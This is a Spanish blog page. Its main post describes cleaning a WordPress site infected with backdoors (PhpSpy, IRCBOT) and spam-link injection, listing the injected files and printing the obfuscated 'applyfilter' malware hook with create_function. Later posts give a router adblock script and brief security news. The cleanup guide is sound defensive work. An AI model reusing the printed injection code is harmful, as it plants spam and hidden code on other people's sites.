Hace unos meses, Dreamhost sufrió un ataque en sus servidores. Semanas mas tarde, recibí un correo de un administrador de sistemas, advirtiendo que mi web enlazaba a la suya, y que posiblemente fuese debido a un malware. Revisando la instalación de mi web, comprobé que se habían introducido multitud de ficheros html. Estos ficheros introducían multitud de enlaces y palabras claves de spam.
¿Como localizar la infección?
Como se puede ver en la “Herramientas webmaster” de Google, en “Optimización” > “Palabras clave de contenido“, el código del malware modifica las palabras clave de nuestro sitio:
Limpiando el código
Debido a que habia pasado mucho tiempo desde el origen de la infección y no tener acceso a los logs del servidor ftp no era posible localizar que ficheros habían sido modificados.
Un primer filtro es determinar que partes del wordpress se habian modificado. Como al explorar la web en “Herramientas webmaster” de Google, simulando ser el bot de google, nos muestra un texto con enlaces “extraños”, debemos saber si se trata una modificacion de codigo en el tema, o en los propios ficheros del wordpress. Una vez modificado el tema utilizado, comprobamos que sigue mostrandose el malware, por lo que deberemos revisar los ficheros de wordpress.
Para realizar una primera limpieza, nos bajamos la web mediante ftp, siendo escaneados los ficheros por nuestro antivirus. En esta primera fase, se han encontrando los siguientes malwares:
En \wp-admin\includes, existe un fichero class-wp-theme-edit.php infectado por el malware PHP/Shell.AT. En realidad se trata del script PhpSpy, que permite a un atacante externo acceder al servidor mediante una puerta trasera:
Ademas en \wp-content\plugins\UltimateTagWarrior hay otro php llamado dsplugin.php, que es un script malicioso en php que es en realidad otra puerta trasera para el atacante de nuestro sitio denominada PHP/IRCBOT.DW
Para evitar que el atacante siga teniendo acceso a nuestro servidor, y poder volver a infectar el wordpress, ambos ficheros deberán ser eliminados de nuestro servidor web.
También se han incluido nuevos ficheros al wordpress repartidos por varios directorios, donde incluye el código necesario para modificar nuestra web e inyectar su código. Son los siguientes:
\wp-admin\css\class-ziplibs.php
\wp-admin\css\options-meta.php
|wp-admin\includes\edit-form-header.php
\wp-admin\includes\options-foot.php
Estos ficheros pueden ser eliminados, ya que solo contienen el código malicioso del malware.
Un caso especial fue el caso del fichero \wp-includes\post.template.php. Este fichero fue modificado para incluir una función que nos añade asl contenido del primer post de la pagina inicial de wordpress un texto malicioso para posicionar la pagina en determinadas palabras claves y varios enlaces. Este código se encuentra en la linea 167, en la función the_content:
$content = str_replace(']]>', ']]>', applyfilter($content));
Y cambiarla por:
$content = str_replace(']]>', ']]>', $content);
Ademas, eliminar las lineas 698 y 699:
add_action('get_sidebar', 'applyfilter', 1, 0);
add_action('get_footer', 'applyfilter', 1, 0);
y la funcion maliciosa applyfilter
function applyfilter($text=null) {
@ini_set('memory_limit','256M');
if($text) @ob_start();
if(1){global $O10O1OO1O;$O10O1OO1O=create_function('$s,$k',"\44\163\75\165\162\154\144\145\143\157\144\145\50\44\163\51\73\40\44\164\141\162\147\145\164\75\47\47\73\44\123\75\47\41\43\44\45$
if($text) {$out=@ob_get_contents(); @ob_end_clean(); return $text.$out;}
}
Con esto espero haber eliminado todo rastro de malware en la web, así como las puertas traseras encontradas. De todas maneras, habrá que revisar el servidor cada cierto tiempo y comprobar que no se repiten los síntomas.
Al igual que con el firmware dd-wrt, con el tomato firmware también podemos bloquear los anuncios desde el router para todos los ordenadores de nuestra red local.
Los pasos para configurar nuestro router para bloquear anuncios, es sencilla:
El contenido del script para bloquear anuncios es el siguiente:
#!/bin/sh
## Adblock script [Version 2.1 | 08 July 2008 | 3778 bytes]
##
## Created by Adrian Jon Kriel: root-AT-extremecooling-DOT-org
##
## tomato WAN Up script
##
## 0 = disable
## 1 = enable
## (1) = default value
## optimising of dnsmasq, (1)
eval OPTDNSMASQ="1"
## automatic updating, (1)
eval AUTOUPDATE="1"
## MVPS HOSTS ~18,500 lines, 680 Kbyte, (1)
eval MVPSSOURCE="1"
## pgl.yoyo.org ~2,200 lines, 68 Kbyte, (1)
eval PGLSOURCE="1"
## hosts-file.net ~53,000 lines, 1.5 Mbyte, (0)
eval HSFSOURCE="0"
## Hosts File Project ~102,000 lines, 3.0 Mbyte ***6+mb free memory***, (0)
eval HFPSOURCE="0"
##
## varibles
## location of temp file, (/tmp/hosts)
eval GENFILE="/tmp/hosts"
## redirect ip, (0.0.0.0)
eval REDIRECTIP="0.0.0.0"
## sources
eval MVPSOURCEFILE="http://www.mvps.org/winhelp2002/hosts.txt"
eval PGLSOURCEFILE="http://pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts"
eval HSFSOURCEFILE="http://www.it-mate.co.uk/downloads/hosts.txt"
eval HFPSOURCEFILE="http://hostsfile.mine.nu/Hosts"
if ping -c 1 yahoo.com ; then
eval GOTSOURCE="0"
echo "" > $GENFILE
## download
if [ "$MVPSSOURCE" = "1" ] ; then
if wget $MVPSOURCEFILE -O - >> $GENFILE ; then
logger ADBLOCK Downloaded $MVPSOURCEFILE
eval GOTSOURCE="1"
else
logger ADBLOCK Failed $MVPSOURCEFILE
fi
fi
if [ "$PGLSOURCE" = "1" ] ; then
if wget $PGLSOURCEFILE -O - >> $GENFILE ; then
logger ADBLOCK Load $PGLSOURCEFILE
eval GOTSOURCE="1"
else
logger ADBLOCK Fail $PGLSOURCEFILE
fi
fi
if [ "$HSFSOURCE" = "1" ] ; then
if wget $HSFSOURCEFILE -O - >> $GENFILE ; then
logger ADBLOCK load $HSFSOURCEFILE
eval GOTSOURCE="1"
else
logger ADBLOCK Fail $HSFSOURCEFILE
fi
fi
if [ "$HFPSOURCE" = "1" ] ; then
if wget $HFPSOURCEFILE -O - >> $GENFILE ; then
logger ADBLOCK Load $HFPSOURCEFILE
eval GOTSOURCE="1"
else
logger ADBLOCK Fail $HFPSOURCEFILE
fi
fi
if [ "$GOTSOURCE" = "1" ]; then
logger ADBLOCK Got Source Files
#FREE MEMORY!
service dnsmasq stop
killall -9 dnsmasq
logger ADBLOCK Ignor Fail Safe
##strip source file
sed -i -e '/^[0-9A-Za-z]/!d' $GENFILE
sed -i -e '/%/d' $GENFILE
sed -i -e 's/[[:cntrl:][:blank:]]//g' $GENFILE
sed -i -e 's/^[ \t]*//;s/[ \t]*$//' $GENFILE
## dnsmasq, sanitize, optimised
sed -i -e 's/[[:space:]]*\[.*$//' $GENFILE
sed -i -e 's/[[:space:]]*\].*$//' $GENFILE
sed -i -e '/[[:space:]]*#.*$/ s/[[:space:]]*#.*$//' $GENFILE
sed -i -e '/^$/d' $GENFILE
sed -i -e '/127.0.0.1/ s/127.0.0.1//' $GENFILE
sed -i -e '/^www[0-9]./ s/^www[0-9].//' $GENFILE
sed -i -e '/^www./ s/^www.//' $GENFILE
## remove duplicates (resource friendly)
cat $GENFILE | sort -u > $GENFILE.new
mv $GENFILE.new $GENFILE
## format
sed -i -e 's|$|/'$REDIRECTIP'|' $GENFILE
sed -i -e 's|^|address=/|' $GENFILE
## load values from dnsmasq config
cat /etc/dnsmasq.conf >> $GENFILE
## optimise dnsmasq
if [ "$OPTDNSMASQ" = "1" ] ; then
cat >> $GENFILE < <EOF
cache-size=2048
log-async=5
EOF
fi
## remove/whitelist websites
## removes 3 websites (aa.com, bb.com, cc.com)
## remove the # and edit the website urls.
sed -i -e '/aa.com/d' $GENFILE
sed -i -e '/bb.com/d' $GENFILE
sed -i -e '/cc.com/d' $GENFILE
## apply blacklist
dnsmasq --conf-file=$GENFILE
## failsafe added
dnsmasq
logger ADBLOCK Ignor Fail Safe
## dev info
logger ADBLOCK Unique Hosts Blocked $(awk 'END { print NR }' $GENFILE)
else
logger ADBLOCK Error Not Downloaded
fi
else
logger ADBLOCK Error No Internet
fi
## remove the generated files
rm $GENFILE*
## automatic update
if [ "$AUTOUPDATE" = "1" ] ; then
## script exists
if [ -x /tmp/script_wanup.sh ] ; then
cru a UpdateAdlist "0 6,12,18,0 * * * /tmp/script_wanup.sh >/dev/null 2>&1"
fi
fi
## the end
Una vez reiniciado el router, se ejecutara el script y dejaremos de ver los anuncios en las paginas web.
Via: Linksysinfo.org
En el blog de S21sec podemos encontrar una serie de artículos dedicados a algunos de los errores típicos que se cometen durante el desarrollo en Ruby on Rails y que tienen implicaciones en mayor o menor medida en la seguridad de la aplicación. Además los ejemplos utilizados están muy simplificados para facilitar su comprensión.
Muy recomendable si nuestro framework de desarrollo es Ruby on Rails.
Según informa SecurityByDefault se ha descubierto una grave vulnerabilidad en los programas Reader y Acrobat de Adobe.
La vulnerabilidad, afecta a todos los sistemas operativos (Windows, Linux y Mac OS X).
Según Adobe, el próximo martes 13 de octubre estará disponible un parche que corrija dicha vulnerabilidad. Mientras tanto, si usamos Windows Vista, podemos protegernos activando el DEP, tal y como describen en SecurityByDefault.
Ayer me surgió un problema mientras estaba preparando la entra anterior, “Hacer ping a buscadores en php“. Resulta que al intentar previsualizar un post, siempre me mostraba el error “Service Temporarily Unavailable“, y no me actualizaba el post.
(más…)